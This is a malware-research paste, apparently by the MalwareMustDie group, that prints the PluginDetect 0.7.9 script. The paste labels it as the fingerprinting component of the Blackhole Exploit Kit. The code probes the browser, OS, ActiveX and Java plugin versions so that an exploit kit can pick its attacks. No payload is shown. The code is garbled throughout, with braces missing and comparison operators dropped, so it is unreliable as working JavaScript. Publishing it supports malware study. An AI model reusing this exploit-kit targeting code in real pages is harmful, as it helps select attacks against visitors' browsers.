Advertisement
MalwareMustDie

#MalwareMustDie - PD079-BHEK-20121209-2

Dec 9th, 2012
1,511
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. //#MalwareMustDie  - @unixfreaxjp ~]$ date
  2. // Sun Dec  9 18:23:10 JST 2012
  3. //
  4. // PluginDetect 0.7.9 Malware Infector Script
  5. // Used by BHEK v2.x
  6. //
  7.  
  8. var PluginDetect =
  9.   version : "0.7.9", name : "PluginDetect", handler : function (c, b, a)
  10.     return function ()
  11.       c(b, a)
  12.     }
  13.   }
  14.   , openTag : "<", isDefined : function (b)
  15.     return typeof b != "undefined"
  16.   }
  17.   , isArray : function (b)
  18.     return (/array/i).test(Object.prototype.toString.call(b))
  19.   }
  20.   , isFunc : function (b)
  21.     return typeof b == "function"
  22.   }
  23.   , isString : function (b)
  24.     return typeof b == "string"
  25.   }
  26.   , isNum : function (b)
  27.     return typeof b == "number"
  28.   }
  29.   , isStrNum : function (b)
  30.     return (typeof b == "string" && (/\d/).test(b))
  31.   }
  32.   , getNumRegx :/ [ \ d][ \ d \ . \ _ ,- ] */, splitNumRegx :/ [ \ . \ _ ,- ] / g, getNum :
  33.   function (b, c)
  34.     var d = this , a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).
  35.     exec(b) : null;
  36.     return a ? a[0] : null
  37.   }
  38.   , compareNums : function (h, f, d)
  39.     var e = this , c, b, a, g = parseInt;
  40.     if (e.isStrNum(h) && e.isStrNum(f))
  41.       if (e.isDefined(d) && d.compareNums)
  42.         return d.compareNums(h, f)
  43.       }
  44.       c = h.split(e.splitNumRegx);
  45.       b = f.split(e.splitNumRegx);
  46.       for (a = 0; a < Math.min(c.length, b.length);
  47.       a ++ )
  48.         if (g(c[a], 10) > g(b[a], 10))
  49.           return 1
  50.         }
  51.         if (g(c[a], 10) < g(b[a], 10))
  52.           return  - 1
  53.         }
  54.       }
  55.     }
  56.     return 0
  57.   }
  58.   , formatNum : function (b, c)
  59.     var d = this , a, e;
  60.     if (!d.isStrNum(b))
  61.       return null
  62.     }
  63.     if (!d.isNum(c))
  64.       c = 4
  65.     }
  66.     c--;
  67.     e = b.replace(/\s/g, "").split(d.splitNumRegx).concat(["0", "0", "0", "0"]);
  68.     for (a = 0; a < 4; a ++ )
  69.       if (/^(0+)(.+)$/.test(e[a]))
  70.         e[a] = RegExp.$2
  71.       }
  72.       if (a > c ||! (/\d/).test(e[a]))
  73.         e[a] = "0"
  74.       }
  75.     }
  76.     return e.slice(0, 4).join(",")
  77.   }
  78.   , $$hasMimeType : function (a)
  79.     return function (c)
  80.       if (!a.isIE && c)
  81.         var f, e, b, d = a.isArray(c) ? c : (a.isString(c) ? [c] : []);
  82.         for (b = 0; b < d.length; b ++ )
  83.           if (a.isString(d[b]) &&/ [ ^\ s] / .test(d[b]))
  84.             f = navigator.mimeTypes[d[b]];
  85.             e = f ? f.enabledPlugin : 0;
  86.             if (e && (e.name || e.description))
  87.               return f
  88.             }
  89.           }
  90.         }
  91.       }
  92.       return null
  93.     }
  94.   }
  95.   , findNavPlugin : function (l, e, c)
  96.     var j = this , h = new RegExp(l, "i"), d = (!j.isDefined(e) || e) ?/\ d /: 0, k = c ?
  97.     new RegExp(c, "i") : 0, a = navigator.plugins, g = "", f, b, m;
  98.     for (f = 0; f < a.length; f ++ )
  99.       m = a[f].description || g;
  100.       b = a[f].name || g;
  101.       if ((h.test(m) && (!d || d.test(RegExp.leftContext + RegExp.rightContext))) || (h.
  102.       test(b) && (!d || d.test(RegExp.leftContext + RegExp.rightContext))))
  103.         if (!k ||! (k.test(m) || k.test(b)))
  104.           return a[f]
  105.         }
  106.       }
  107.     }
  108.     return null
  109.   }
  110.   , getMimeEnabledPlugin : function (k, m, c)
  111.     var e = this , f, b = new RegExp(m, "i"), h = "", g = c ? new RegExp(c, "i") : 0, a, l
  112.     , d, j = e.isString(k) ? [k] : k;
  113.     for (d = 0; d < j.length; d ++ )
  114.       if ((f = e.hasMimeType(j[d])) && (f = f.enabledPlugin))
  115.         l = f.description || h;
  116.         a = f.name || h;
  117.         if (b.test(l) || b.test(a))
  118.           if (!g ||! (g.test(l) || g.test(a)))
  119.             return f
  120.           }
  121.         }
  122.       }
  123.     }
  124.     return 0
  125.   }
  126.   , getPluginFileVersion : function (f, b)
  127.     var h = this , e, d, g, a, c =- 1;
  128.     if (h.OS2 ||! f ||! f.version ||! (e = h.getNum(f.version)))
  129.       return b
  130.     }
  131.     if (!b)
  132.       return e
  133.     }
  134.     e = h.formatNum(e);
  135.     b = h.formatNum(b);
  136.     d = b.split(h.splitNumRegx);
  137.     g = e.split(h.splitNumRegx);
  138.     for (a = 0; a < d.length; a ++ )
  139.       if ( - 1 < c && c < a &&! (d[a] == "0"))
  140.         return b
  141.       }
  142.       if (g[a] != d[a])
  143.         if (c ==- 1)
  144.           c = a
  145.         }
  146.         if (d[a] != "0")
  147.           return b
  148.         }
  149.       }
  150.     }
  151.     return e
  152.   }
  153.   , AXO : window.ActiveXObject, getAXO : function (a)
  154.     var f = null, d, b = this , c =
  155.     }
  156.     ;
  157.     try
  158.       f = new b.AXO(a)
  159.     }
  160.     catch (d)
  161.     }
  162.     return f
  163.   }
  164.   , convertFuncs : function (f)
  165.     var a, g, d, b =/^ [ \ $][ \ $] /, c = this ;
  166.     for (ain f)
  167.       if (b.test(a))
  168.         try
  169.           g = a.slice(2);
  170.           if (g.length0 &&! f[g])
  171.             f[g] = f[a](f);
  172.             deletef[a]
  173.           }
  174.         }
  175.         catch (d)
  176.         }
  177.       }
  178.     }
  179.   }
  180.   , initObj : function (e, b, d)
  181.     var a, c;
  182.     if (e)
  183.       if (e[b[0]] == 1 || d)
  184.         for (a = 0; a < b.length; a = a + 2)
  185.           e[b[a]] = b[a + 1]
  186.         }
  187.       }
  188.       for (ain e)
  189.         c = e[a];
  190.         if (c && c[b[0]] == 1)
  191.           this .initObj(c, b)
  192.         }
  193.       }
  194.     }
  195.   }
  196.   , initScript : function ()
  197.     var d = this , a = navigator, h, i = document, l = a.userAgent || "", j = a.vendor ||
  198.     "", b = a.platform || "", k = a.product || "";
  199.     d.initObj(d, ["$", d]);
  200.     for (hin d.Plugins)
  201.       if (d.Plugins[h])
  202.         d.initObj(d.Plugins[h], ["$", d, "$$", d.Plugins[h]], 1)
  203.       }
  204.     }
  205.     d.convertFuncs(d);
  206.     d.OS = 100;
  207.     if (b)
  208.       var g = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 21.2,
  209.       "iPad", 21.3, "Win." + "*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\s*PC", 22.3, "",
  210.       100];
  211.       for (h = g.length - 2; h >= 0; h = h - 2)
  212.         if (g[h] && new RegExp(g[h], "i").test(b))
  213.           d.OS = g[h + 1];
  214.           break
  215.         }
  216.       }
  217.     }
  218.     ;
  219.     d.head = i.getElementsByTagName("head")[0] || i.getElementsByTagName("body")[0] || i.
  220.     body || null;
  221.     d.isIE = new Function("return/*@cc_on!@*/!1")();
  222.     d.verIE = d.isIE && (/MSIE\s*(\d+\.?\d*)/i).test(l) ? parseFloat(RegExp.$1, 10) : null
  223.     ;
  224.     d.ActiveXEnabled = false;
  225.     if (d.isIE)
  226.       var h, m = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM",
  227.       "ShockwaveFlash.ShockwaveFlash", "TDCCtl.TDCCtl", "Shell.UIHelper",
  228.       "Scripting.Dictionary", "wmplayer.ocx"];
  229.       for (h = 0; h < m.length; h ++ )
  230.         if (d.getAXO(m[h]))
  231.           d.ActiveXEnabled = true;
  232.           break
  233.         }
  234.       }
  235.     }
  236.     ;
  237.     d.isGecko = (/Gecko\s*\/\s*\d/i).test(l) && (/Gecko/i).test(k);
  238.     d.verGecko = d.isGecko ? d.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(l) ? RegExp.$1 :
  239.     "0.9") : null;
  240.     d.isChrome = (/Chrome\s*\/\s*(\d[\d\.]*)/i).test(l);
  241.     d.verChrome = d.isChrome ? d.formatNum(RegExp.$1) : null;
  242.     d.isSafari = ((/Apple/i).test(j) || (!j &&! d.isChrome)) && (
  243.     /Safari\s*\/\s*(\d[\d\.]*)/i).test(l);
  244.     d.verSafari = d.isSafari && (/Version\s*\/\s*(\d[\d\.]*)/i).test(l) ? d.formatNum(
  245.     RegExp.$1) : null;
  246.     d.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(l);
  247.     d.verOpera = d.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(l) || 1) ? parseFloat(
  248.     RegExp.$1, 10) : null;
  249.     d.addWinEvent("load", d.handler(d.runWLfuncs, d))
  250.   }
  251.   , init : function (d)
  252.     var c = this , b, d, a =
  253.       status :- 3, plugin : 0
  254.     }
  255.     ;
  256.     if (!c.isString(d))
  257.       return a
  258.     }
  259.     if (d.length == 1)
  260.       c.getVersionDelimiter = d;
  261.       return a
  262.     }
  263.     d = d.toLowerCase().replace(/\s/g, "");
  264.     b = c.Plugins[d];
  265.     if (!b ||! b.getVersion)
  266.       return a
  267.     }
  268.     a.plugin = b;
  269.     if (!c.isDefined(b.installed))
  270.       b.installed = null;
  271.       b.version = null;
  272.       b.version0 = null;
  273.       b.getVersionDone = null;
  274.       b.pluginName = d
  275.     }
  276.     c.garbage = false;
  277.     if (c.isIE &&! c.ActiveXEnabled && d !== "Ja" + "va")
  278.       a.status =- 2;
  279.       return a
  280.     }
  281.     a.status = 1;
  282.     return a
  283.   }
  284.   , fPush : function (b, a)
  285.     var c = this ;
  286.     if (c.isArray(a) && (c.isFunc(b) || (c.isArray(b) && c.isFunc(b[0]) && 0 < b.length
  287.     )))
  288.       a.push(b)
  289.     }
  290.   }
  291.   , callArray : function (b)
  292.     var c = this , a;
  293.     if (c.isArray(b))
  294.       for (a = 0; a < b.length; a ++ )
  295.         if (b[a] === null)
  296.           return
  297.         }
  298.         c.call(b[a]);
  299.         b[a] = null
  300.       }
  301.     }
  302.   }
  303.   , call : function (c)
  304.     var b = this , a = b.isArray(c) ? c.length :- 1;
  305.     if (0 < a && b.isFunc(c[0]))
  306.       c[0](b, a > 1 ? c[1] : 0, a > 2 ? c[2] : 0, a > 3 ? c[3] : 0)
  307.     }
  308.     else
  309.       if (b.isFunc(c))
  310.         c(b)
  311.       }
  312.     }
  313.   }
  314.   , $$isMinVersion : function (a)
  315.     return function (h, g, d, c)
  316.       var e = a.init(h), f, b =- 1, j =
  317.       }
  318.       ;
  319.       if (e.status0)
  320.         return e.status
  321.       }
  322.       f = e.plugin;
  323.       g = a.formatNum(a.isNum(g) ? g.toString() : (a.isStrNum(g) ? a.getNum(g) : "0"));
  324.       if (f.getVersionDone != 1)
  325.         f.getVersion(g, d, c);
  326.         if (f.getVersionDone === null)
  327.           f.getVersionDone = 1
  328.         }
  329.       }
  330.       a.cleanup();
  331.       if (f.installed !== null)
  332.         b = f.installed= 0.5 ? f.installed : (f.installed == 0.7 ? 1 : (f.version ===
  333.         null         ? 0 : (a.compareNums(f.version, g, f)= 0 ? 1 :- 0.1)))
  334.       }
  335.       ;
  336.       return b
  337.     }
  338.   }
  339.   , getVersionDelimiter : ",", $$getVersion : function (a)
  340.     return function (g, d, c)
  341.       var e = a.init(g), f, b, h =
  342.       }
  343.       ;
  344.       if (e.status0)
  345.         return null
  346.       }
  347.       ;
  348.       f = e.plugin;
  349.       if (f.getVersionDone != 1)
  350.         f.getVersion(null, d, c);
  351.         if (f.getVersionDone === null)
  352.           f.getVersionDone = 1
  353.         }
  354.       }
  355.       a.cleanup();
  356.       b = (f.version || f.version0);
  357.       b = b ? b.replace(a.splitNumRegx, a.getVersionDelimiter) : b;
  358.       return b
  359.     }
  360.   }
  361.   , cleanup : function ()
  362.     var a = this ;
  363.     if (a.garbage && a.isDefined(window.CollectGarbage))
  364.       window.CollectGarbage()
  365.     }
  366.   }
  367.   , addWinEvent : function (d, c)
  368.     var e = this , a = window, b;
  369.     if (e.isFunc(c))
  370.       if (a.addEventListener)
  371.         a.addEventListener(d, c, false)
  372.       }
  373.       else
  374.         if (a.attachEvent)
  375.           a.attachEvent("on" + d, c)
  376.         }
  377.         else
  378.           b = a["on" + d];
  379.           a["on" + d] = e.winHandler(c, b)
  380.         }
  381.       }
  382.     }
  383.   }
  384.   , winHandler : function (d, c)
  385.     return function ()
  386.       d();
  387.       if (typeof c == "function")
  388.         c()
  389.       }
  390.     }
  391.   }
  392.   , WLfuncs0 : [], WLfuncs : [], runWLfuncs : function (a)
  393.     var b =
  394.     }
  395.     ;
  396.     a.winLoaded = true;
  397.     a.callArray(a.WLfuncs0);
  398.     a.callArray(a.WLfuncs);
  399.     if (a.onDoneEmptyDiv)
  400.       a.onDoneEmptyDiv()
  401.     }
  402.   }
  403.   , winLoaded : false, $$onWindowLoaded : function (a)
  404.     return function (b)
  405.       if (a.winLoaded)
  406.         a.call(b)
  407.       }
  408.       else
  409.         a.fPush(b, a.WLfuncs)
  410.       }
  411.     }
  412.   }
  413.   , $$onDetectionDone : function (a)
  414.     return function (h, g, c, b)
  415.       var d = a.init(h), k, e, j =
  416.       }
  417.       ;
  418.       if (d.status ==- 3)
  419.         return  - 1
  420.       }
  421.       e = d.plugin;
  422.       if (!a.isArray(e.funcs))
  423.         e.funcs = []
  424.       }
  425.       if (e.getVersionDone != 1)
  426.         k = a.isMinVersion ? a.isMinVersion(h, "0", c, b) : a.getVersion(h, c, b)
  427.       }
  428.       if (e.installed !=- 0.5 && e.installed != 0.5)
  429.         a.call(g);
  430.         return 1
  431.       }
  432.       if (e.NOTF)
  433.         a.fPush(g, e.funcs);
  434.         return 0
  435.       }
  436.       return 1
  437.     }
  438.   }
  439.   , div : null, divID : "plugindetect", divWidth : 50, pluginSize : 1, emptyDiv : function
  440.   ()
  441.     var d = this , b, h, c, a, f, g;
  442.     if (d.div && d.div.childNodes)
  443.       for (b = d.div.childNodes.length - 1; b >= 0; b -- )
  444.         c = d.div.childNodes[b];
  445.         if (c && c.childNodes)
  446.           for (h = c.childNodes.length - 1; h >= 0; h -- )
  447.             g = c.childNodes[h];
  448.             try
  449.               c.removeChild(g)
  450.             }
  451.             catch (f)
  452.             }
  453.           }
  454.         }
  455.         if (c)
  456.           try
  457.             d.div.removeChild(c)
  458.           }
  459.           catch (f)
  460.           }
  461.         }
  462.       }
  463.     }
  464.     if (!d.div)
  465.       a = document.getElementById(d.divID);
  466.       if (a)
  467.         d.div = a
  468.       }
  469.     }
  470.     if (d.div && d.div.parentNode)
  471.       try
  472.         d.div.parentNode.removeChild(d.div)
  473.       }
  474.       catch (f)
  475.       }
  476.       d.div = null
  477.     }
  478.   }
  479.   , DONEfuncs : [], onDoneEmptyDiv : function ()
  480.     var c = this , a, b;
  481.     if (!c.winLoaded)
  482.       return
  483.     }
  484.     if (c.WLfuncs && c.WLfuncs.length && c.WLfuncs[c.WLfuncs.length - 1] !== null)
  485.       return
  486.     }
  487.     for (ain c)
  488.       b = c[a];
  489.       if (b && b.funcs)
  490.         if (b.OTF == 3)
  491.           return
  492.         }
  493.         if (b.funcs.length && b.funcs[b.funcs.length - 1] !== null)
  494.           return
  495.         }
  496.       }
  497.     }
  498.     for (a = 0; a < c.DONEfuncs.length; a ++ )
  499.       c.callArray(c.DONEfuncs)
  500.     }
  501.     c.emptyDiv()
  502.   }
  503.   , getWidth : function (c)
  504.     if (c)
  505.       var a = c.scrollWidth || c.offsetWidth, b = this ;
  506.       if (b.isNum(a))
  507.         return a
  508.       }
  509.     }
  510.     return  - 1
  511.   }
  512.   , getTagStatus : function (m, g, a, b)
  513.     var c = this , f, k = m.span, l = c.getWidth(k), h = a.span, j = c.getWidth(h), d = g.
  514.     span, i = c.getWidth(d);
  515.     if (!k ||! h ||! d ||! c.getDOMobj(m))
  516.       return  - 2
  517.     }
  518.     if (j < i || 0 > l || 0 > j || 0 > i || i <= c.pluginSize || c.pluginSize1)
  519.       return 0
  520.     }
  521.     if (l >= i)
  522.       return  - 1
  523.     }
  524.     try
  525.       if (l == c.pluginSize && (!c.isIE || c.getDOMobj(m).readyState == 4))
  526.         if (!m.winLoaded && c.winLoaded)
  527.           return 1
  528.         }
  529.         if (m.winLoaded && c.isNum(b))
  530.           if (!c.isNum(m.count))
  531.             m.count = b
  532.           }
  533.           if (b - m.count= 10)
  534.             return 1
  535.           }
  536.         }
  537.       }
  538.     }
  539.     catch (f)
  540.     }
  541.     return 0
  542.   }
  543.   , getDOMobj : function (g, a)
  544.     var f, d = this , c = g ? g.span : 0, b = c && c.firstChild ? 1 : 0;
  545.     try
  546.       if (b && a)
  547.         d.div.focus()
  548.       }
  549.     }
  550.     catch (f)
  551.     }
  552.     return b ? c.firstChild : null
  553.   }
  554.   , setStyle : function (b, g)
  555.     var f = b.style, a, d, c = this ;
  556.     if (f && g)
  557.       for (a = 0; a < g.length; a = a + 2)
  558.         try
  559.           f[g[a]] = g[a + 1]
  560.         }
  561.         catch (d)
  562.         }
  563.       }
  564.     }
  565.   }
  566.   , insertDivInBody : function (i, g)
  567.     var f, c = this , h = "pd33993399", b = null, d = g ? window.top.document : window.
  568.     document, a = d.getElementsByTagName("body")[0] || d.body;
  569.     if (!a)
  570.       try
  571.         d.write('<div id="' + h + '">.' + c.openTag + "/div>");
  572.         b = d.getElementById(h)
  573.       }
  574.       catch (f)
  575.       }
  576.     }
  577.     a = d.getElementsByTagName("body")[0] || d.body;
  578.     if (a)
  579.       a.insertBefore(i, a.firstChild);
  580.       if (b)
  581.         a.removeChild(b)
  582.       }
  583.     }
  584.   }
  585.   , insertHTML : function (f, b, g, a, k)
  586.     var l, m = document, j = this , p, o = m.createElement("span"), n, i;
  587.     var c = ["outlineStyle", "none", "borderStyle", "none", "padding", "0px", "margin",
  588.     "0px", "visibility", "visible"];
  589.     var h =
  590.     "outline-style:none;border-style:none;padding:0px;margin:0px;visibility:visible;";
  591.     if (!j.isDefined(a))
  592.       a = ""
  593.     }
  594.     if (j.isString(f) && (/[^\s]/).test(f))
  595.       f = f.toLowerCase().replace(/\s/g, "");
  596.       p = j.openTag + f + ' width="' + j.pluginSize + '" height="' + j.pluginSize + '" ';
  597.       p += 'style="' + h + 'display:inline;" ';
  598.       for (n = 0; n < b.length; n = n + 2)
  599.         if (/[^\s]/.test(b[n + 1]))
  600.           p += b[n] + '="' + b[n + 1] + '" '
  601.         }
  602.       }
  603.       p += ">";
  604.       for (n = 0; n < g.length; n = n + 2)
  605.         if (/[^\s]/.test(g[n + 1]))
  606.           p += j.openTag + 'param name="' + g[n] + '" value="' + g[n + 1] + '" />'
  607.         }
  608.       }
  609.       p += a + j.openTag + "/" + f + ">"
  610.     }
  611.     else
  612.       p = a
  613.     }
  614.     if (!j.div)
  615.       i = m.getElementById(j.divID);
  616.       if (i)
  617.         j.div = i
  618.       }
  619.       else
  620.         j.div = m.createElement("div");
  621.         j.div.id = j.divID
  622.       }
  623.       j.setStyle(j.div, c.concat(["width", j.divWidth + "px", "height", (j.pluginSize + 3)
  624.        + "px", "fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.pluginSize + 3) +
  625.       "px", "verticalAlign", "baseline", "display", "block"]));
  626.       if (!i)
  627.         j.setStyle(j.div, ["position", "absolute", "right", "0px", "top", "0px"]);
  628.         j.insertDivInBody(j.div)
  629.       }
  630.     }
  631.     if (j.div && j.div.parentNode)
  632.       j.setStyle(o, c.concat(["fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.
  633.       pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "inline"]));
  634.       try
  635.         o.innerHTML = p
  636.       }
  637.       catch (l)
  638.       }
  639.       ;
  640.       try
  641.         j.div.appendChild(o)
  642.       }
  643.       catch (l)
  644.       }
  645.       ;
  646.       return
  647.         span : o, winLoaded : j.winLoaded, tagName : f, outerHTML : p
  648.       }
  649.     }
  650.     return
  651.       span : null, winLoaded : j.winLoaded, tagName : "", outerHTML : p
  652.     }
  653.   }
  654.   , file :
  655.     $ : 1, any : "fileStorageAny999", valid : "fileStorageValid999", save : function (d, f
  656.     , c)
  657.       var b = this , e = b.$, a;
  658.       if (d && e.isDefined(c))
  659.         if (!d[b.any])
  660.           d[b.any] = []
  661.         }
  662.         if (!d[b.valid])
  663.           d[b.valid] = []
  664.         }
  665.         d[b.any].push(c);
  666.         a = b.split(f, c);
  667.         if (a)
  668.           d[b.valid].push(a)
  669.         }
  670.       }
  671.     }
  672.     , getValidLength : function (a)
  673.       return a && a[this .valid] ? a[this .valid].length : 0
  674.     }
  675.     , getAnyLength : function (a)
  676.       return a && a[this .any] ? a[this .any].length : 0
  677.     }
  678.     , getValid : function (c, a)
  679.       var b = this ;
  680.       return c && c[b.valid] ? b.get(c[b.valid], a) : null
  681.     }
  682.     , getAny : function (c, a)
  683.       var b = this ;
  684.       return c && c[b.any] ? b.get(c[b.any], a) : null
  685.     }
  686.     , get : function (d, a)
  687.       var c = d.length - 1, b = this .$.isNum(a) ? a : c;
  688.       return (0 > b || b > c) ? null : d[b]
  689.     }
  690.     , split : function (g, c)
  691.       var b = this , e = b.$, f = null, a, d;
  692.       g = g ? g.replace(".", "\.") : "";
  693.       d = new RegExp("^(.*[^\/])(" + g + "\s*)$");
  694.       if (e.isString(c) && d.test(c))
  695.         a = (RegExp.$1).split("/");
  696.         f =
  697.           name : a[a.length - 1], ext : RegExp.$2, full : c
  698.         }
  699.         ;
  700.         a[a.length - 1] = "";
  701.         f.path = a.join("/")
  702.       }
  703.       return f
  704.     }
  705.     , z : 0
  706.   }
  707.   , Plugins :
  708.     java :
  709.       mimeType : ["application/x-java-applet", "application/x-java-vm",
  710.       "application/x-java-bean"], classID : "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93",
  711.       navigator :
  712.         a : window.navigator.javaEnabled(), javaEnabled : function ()
  713.           return this .a
  714.         }
  715.         , mimeObj : 0, pluginObj : 0
  716.       }
  717.       , OTF : null, minIEver : 7, debug : 0, debugEnable : function ()
  718.         var a = this , b = a.$;
  719.         a.debug = 1
  720.       }
  721.       , isDisabled :
  722.         $ : 1, DTK : function ()
  723.           var a = this , c = a.$, b = a.$$;
  724.           if ((c.isGecko && c.compareNums(c.verGecko, c.formatNum("1.6"))= 0) || (c.
  725.           isSafari && c.OS == 1 && (!c.verSafari || 0 > c.compareNums(c.verSafari,
  726.           "5,1,0,0"))) || c.isChrome || (c.isIE &&! c.ActiveXEnabled))
  727.             return 1
  728.           }
  729.           return 0
  730.         }
  731.         , AXO : function ()
  732.           var a = this , c = a.$, b = a.$$;
  733.           return (!c.isIE ||! c.ActiveXEnabled || (!b.debug && b.DTK.query().status !== 0
  734.           ))
  735.         }
  736.         , navMime : function ()
  737.           var b = this , d = b.$, c = b.$$, a = c.navigator;
  738.           if (d.isIE ||! a.mimeObj ||! a.pluginObj)
  739.             return 1
  740.           }
  741.           return 0
  742.         }
  743.         , navPlugin : function ()
  744.           var b = this , d = b.$, c = b.$$, a = c.navigator;
  745.           if (d.isIE ||! a.mimeObj ||! a.pluginObj)
  746.             return 1
  747.           }
  748.           return 0
  749.         }
  750.         , windowDotJava : function ()
  751.           var a = this , c = a.$, b = a.$$;
  752.           if (!window.java)
  753.             return 1
  754.           }
  755.           if (c.OS == 2 && c.verOpera8 && c.verOpera && c.verOpera(9.3 - 0.1))
  756.             return 1
  757.           }
  758.           return 0
  759.         }
  760.         , allApplets : function ()
  761.           var b = this , d = b.$, c = b.$$, a = c.navigator;
  762.           if (d.OS= 20)
  763.             return 0
  764.           }
  765.           if (d.verOpera && d.verOpera11 &&! a.javaEnabled() &&! c.lang.System.
  766.           getProperty()[0])
  767.             return 1
  768.           }
  769.           if ((d.verGecko && 0 > d.compareNums(d.verGecko, d.formatNum("2"))) &&! a.
  770.           mimeObj &&! c.lang.System.getProperty()[0])
  771.             return 1
  772.           }
  773.           return 0
  774.         }
  775.         , AppletTag : function ()
  776.           var b = this , d = b.$, c = b.$$, a = c.navigator;
  777.           return d.isIE ?! a.javaEnabled() : 0
  778.         }
  779.         , ObjectTag : function ()
  780.           var a = this , c = a.$, b = a.$$;
  781.           return c.isIE ?! c.ActiveXEnabled : 0
  782.         }
  783.         , z : 0
  784.       }
  785.       , getVerifyTagsDefault : function ()
  786.         var a = this , c = a.$, b = [1, 0, 1];
  787.         if (c.OS= 20)
  788.           return b
  789.         }
  790.         if ((c.isIE && (c.verIE9 ||! c.ActiveXEnabled)) || (c.verGecko && 0 > c.
  791.         compareNums(c.verGecko, c.formatNum("2"))) || (c.isSafari && (!c.verSafari || 0
  792.         c.compareNums(c.verSafari, c.formatNum("4")))) || (c.verOpera && c.verOpera10
  793.         ))
  794.           b = [1, 1, 1]
  795.         }
  796.         return b
  797.       }
  798.       , getVersion : function (j, g, i)
  799.         var b = this , d = b.$, e, a = b.applet, h = b.verify, k = b.navigator, f = null,
  800.         l = null, c = null;
  801.         if (b.getVersionDone === null)
  802.           b.OTF = 0;
  803.           k.mimeObj = d.hasMimeType(b.mimeType);
  804.           if (k.mimeObj)
  805.             k.pluginObj = k.mimeObj.enabledPlugin
  806.           }
  807.           if (h)
  808.             h.begin()
  809.           }
  810.         }
  811.         a.setVerifyTagsArray(i);
  812.         d.file.save(b, ".jar", g);
  813.         if (b.getVersionDone === 0)
  814.           if (a.should_Insert_Query_Any())
  815.             e = a.insert_Query_Any();
  816.             b.setPluginStatus(e[0], e[1], f)
  817.           }
  818.           return
  819.         }
  820.         if ((!f || b.debug) && b.DTK.query().version)
  821.           f = b.DTK.version
  822.         }
  823.         if ((!f || b.debug) && b.navMime.query().version)
  824.           f = b.navMime.version
  825.         }
  826.         if ((!f || b.debug) && b.navPlugin.query().version)
  827.           f = b.navPlugin.version
  828.         }
  829.         if ((!f || b.debug) && b.AXO.query().version)
  830.           f = b.AXO.version
  831.         }
  832.         if (b.nonAppletDetectionOk(f))
  833.           c = f
  834.         }
  835.         if (!c || b.debug || a.VerifyTagsHas(2.2) || a.VerifyTagsHas(2.5))
  836.           e = b.lang.System.getProperty();
  837.           if (e[0])
  838.             f = e[0];
  839.             c = e[0];
  840.             l = e[1]
  841.           }
  842.         }
  843.         b.setPluginStatus(c, l, f);
  844.         if (a.should_Insert_Query_Any())
  845.           e = a.insert_Query_Any();
  846.           if (e[0])
  847.             c = e[0];
  848.             l = e[1]
  849.           }
  850.         }
  851.         b.setPluginStatus(c, l, f)
  852.       }
  853.       , nonAppletDetectionOk : function (b)
  854.         var d = this , e = d.$, a = d.navigator, c = 1;
  855.         if (!b || (!a.javaEnabled() &&! d.lang.System.getPropertyHas(b)) || (!e.isIE &&! a
  856.         .mimeObj &&! d.lang.System.getPropertyHas(b)) || (e.isIE &&! e.ActiveXEnabled))
  857.           c = 0
  858.         }
  859.         else
  860.           if (e.OS= 20)
  861.           }
  862.           else
  863.             if (d.info && 0 > d.info.getPlugin2Status() && d.info.BrowserRequiresPlugin2
  864.             ())
  865.               c = 0
  866.             }
  867.           }
  868.         }
  869.         return c
  870.       }
  871.       , setPluginStatus : function (d, f, a)
  872.         var c = this , e = c.$, b;
  873.         a = a || c.version0;
  874.         if (0 < c.OTF)
  875.           d = d || c.lang.System.getProperty()[0]
  876.         }
  877.         if (c.OTF3)
  878.           b = d ? 1 : (a ?- 0.2 :- 1);
  879.           if (c.installed === null || b > c.installed)
  880.             c.installed = b
  881.           }
  882.         }
  883.         if (c.OTF == 2 && c.NOTF &&! c.applet.getResult()[0] &&! c.lang.System.getProperty
  884.         ()[0])
  885.           c.installed = a ?- 0.2 :- 1
  886.         }
  887.         ;
  888.         if (c.OTF == 3 && c.installed !=- 0.5 && c.installed != 0.5)
  889.           c.installed = (c.NOTF.isJavaActive(1) == 1 || c.lang.System.getProperty()[0]) ?
  890.           0.5 :- 0.5
  891.         }
  892.         if (c.OTF == 4 && (c.installed ==- 0.5 || c.installed == 0.5))
  893.           if (d)
  894.             c.installed = 1
  895.           }
  896.           else
  897.             if (c.NOTF.isJavaActive(1) == 1)
  898.               if (a)
  899.                 c.installed = 1;
  900.                 d = a
  901.               }
  902.               else
  903.                 c.installed = 0
  904.               }
  905.             }
  906.             else
  907.               if (a)
  908.                 c.installed =- 0.2
  909.               }
  910.               else
  911.                 c.installed =- 1
  912.               }
  913.             }
  914.           }
  915.         }
  916.         ;
  917.         if (a)
  918.           c.version0 = e.formatNum(e.getNum(a))
  919.         }
  920.         if (d)
  921.           c.version = e.formatNum(e.getNum(d))
  922.         }
  923.         if (f && e.isString(f))
  924.           c.vendor = f
  925.         }
  926.         if (!c.vendor)
  927.           c.vendor = ""
  928.         }
  929.         if (c.verify && c.verify.isEnabled())
  930.           c.getVersionDone = 0
  931.         }
  932.         else
  933.           if (c.getVersionDone != 1)
  934.             if (c.OTF2)
  935.               c.getVersionDone = 0
  936.             }
  937.             else
  938.               c.getVersionDone = c.applet.can_Insert_Query_Any() ? 0 : 1
  939.             }
  940.           }
  941.         }
  942.       }
  943.       , DTK :
  944.         $ : 1, hasRun : 0, status : null, VERSIONS : [], version : "", HTML : null,
  945.         Plugin2Status : null, classID : ["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA",
  946.         "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"], mimeType : [
  947.         "application/java-deployment-toolkit",
  948.         "application/npruntime-scriptable-plugin;DeploymentToolkit"], disabled : function
  949.         ()
  950.           return this .$$.isDisabled.DTK()
  951.         }
  952.         , query : function ()
  953.           var k = this , g = k.$, d = k.$$, j, l, h, m =
  954.           }
  955.           , f =
  956.           }
  957.           , a, c = null, i = null, b = (k.hasRun || k.disabled());
  958.           k.hasRun = 1;
